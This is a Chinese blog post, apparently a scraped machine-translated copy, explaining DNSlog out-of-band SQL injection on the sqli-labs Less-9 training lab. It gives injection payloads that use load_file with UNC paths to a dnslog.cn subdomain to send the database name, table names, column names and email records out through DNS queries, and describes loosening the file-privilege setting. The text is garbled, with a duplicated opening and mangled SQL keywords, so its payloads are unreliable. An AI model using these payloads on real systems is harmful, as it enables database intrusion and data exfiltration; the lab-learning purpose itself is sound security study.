DNSlog注入测试

技术DNSlog注入测试 DNSlog注入测试之前提到的时间盲注,虽然用途比较广泛,但其查询耗时较长;且盲注都需要发送大量请求,容易被WAF拦截。
此时,我们就要用到DNSlog注入——一个可以以较少的

DNSlog注射试验。

前面提到的时间盲注虽然应用广泛,但其查询耗时较长;而且盲注需要发送大量请求,容易被WAF拦截。

此时,我们将使用DNSlog injection ——,这是一种可以用更少的访问快速获取信息的注入方法。

(但是,它对服务器有一些额外的要求;这里的DNSlog注入只有在相关权限打开且服务器系统为windows时才能执行。)

(BUUOJ,那个sql-lab是不行的。)

请勿在校园网上进行此测试!

准备工作:

1.DNS:一个可用的本地DNS服务器。

这里用的是http://www.dnslog.cn/。

获取子域后,验证您可以使用:

输入网址:http://test.z2v67d.dnslog.cn/,

证明DNS服务器工作正常。

二、SQL:检查权限字段。

如果是这样,那也行;如果没有,转到相关的ini文件并删除第三个值。

三.复制:

以SQL-Labless-9为例。我们过去常常盲目地用时间来注释这个话题。

payloads:

id=-1 ' andif((selectload _ file(concat(' \ \ ',(selectdatabase())limit 0,1), z2v67d.dnslog.cn\\abc ')),1,0) -

id=-1 ' andif((selectload _ file(concat(' \ \ '),(selecthex(group _ concat(table _ name))from information _ schema . table where table _ schema=database()), z2v67d.dnslog.cn\\abc ')),1,0) -

id=-1 ' andif((selectload _ file(concat(' \ \ '),(selecthex(group _ concat(column _ name))from information _ schema . columns hweretable _ schema=database())和table_name='emails '), z2v67d.dnslog.cn\\abc ')),1,0) -

id=-1 ' andif((selectload _ file(concat(' \ \ '),(selecthex((email _ id))from email slimit1,1), z2v67d.dnslog.cn\\abc ')),1,0) -

DNS服务器记录:

解码:

第四,心路历程。

意识到之前对DNS一无所知,所以花了很长时间看原理(现在还是有点晕)。

在实现的过程中,有两个主要障碍:

(1)加载文件

你需要给它添加一个绝对路径。例如:选择load _ file(' d :/wamp 64/www/sqli-labs-php7-master/Less-1/result . txt ');

测试时,需要使用UNC网络路径。

格式:\\servername\sharename,其中servername是服务器名称。Sharename是共享资源的名称。

目录或文件的UNC名称可以包括共享名称下的目录路径,格式为:\ \ servername \ sharename \ directory \ filename。

eg : select load _ file(' \ \ \ \ load file test . z2v 67d . dnslog . cn \ \ ABC ');

双反斜杠用于处理转义。

(2)检查数据库的内容。

(如果查询成功,页面将有几秒钟的刷新延迟;可以用来快速判断查询的成败(是否类似于时间盲)。

内容来源网络,如有侵权,联系删除,本文地址:https://www.230890.com/zhan/62066.html

(0)

相关推荐

  • 怎么理解php包装迭代器

    技术怎么理解php包装迭代器本篇内容介绍了“怎么理解php包装迭代器”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!1、本

    攻略 2021年10月22日
  • HTML文档类型DTD与浏览器怪异模式的示例分析

    技术HTML文档类型DTD与浏览器怪异模式的示例分析这篇文章主要为大家展示了“HTML文档类型DTD与浏览器怪异模式的示例分析”,内容简而易懂,条理清晰,希望能够帮助大家解决疑惑,下面让小编带领大家一起研究并学习一下“H

    攻略 2021年11月24日
  • linux安装docker的几种方法(linux docker 安装)

    技术在Linux系统中安装Docker的过程是怎样的在Linux系统中安装Docker的过程是怎样的,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。在这篇博客

    攻略 2021年12月23日
  • RHEL7的基本命令有哪些呢

    技术RHEL7的基本命令有哪些呢今天就跟大家聊聊有关RHEL7的基本命令有哪些呢,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。本节单词整理:Termnial :

    攻略 2021年11月11日
  • oracle redo过度诊断是怎样的

    技术oracle redo过度诊断是怎样的oracle redo过度诊断是怎样的,很多新手对此不是很清楚,为了帮助大家解决这个难题,下面小编将为大家详细讲解,有这方面需求的人可以来学习下,希望你能有所收获。一、诊断过度r

    攻略 2021年11月12日
  • 写春天的古诗,看到春天的美景你会吟什么古诗

    技术写春天的古诗,看到春天的美景你会吟什么古诗1 《咏柳》——贺知章(唐) 碧玉妆成一树高, 万条垂下绿丝绦写春天的古诗。 不知细叶谁裁出, 二月春风似剪刀。
    2 《送元二使安西》——王维(唐) 渭城朝雨悒轻尘,

    生活 2021年10月29日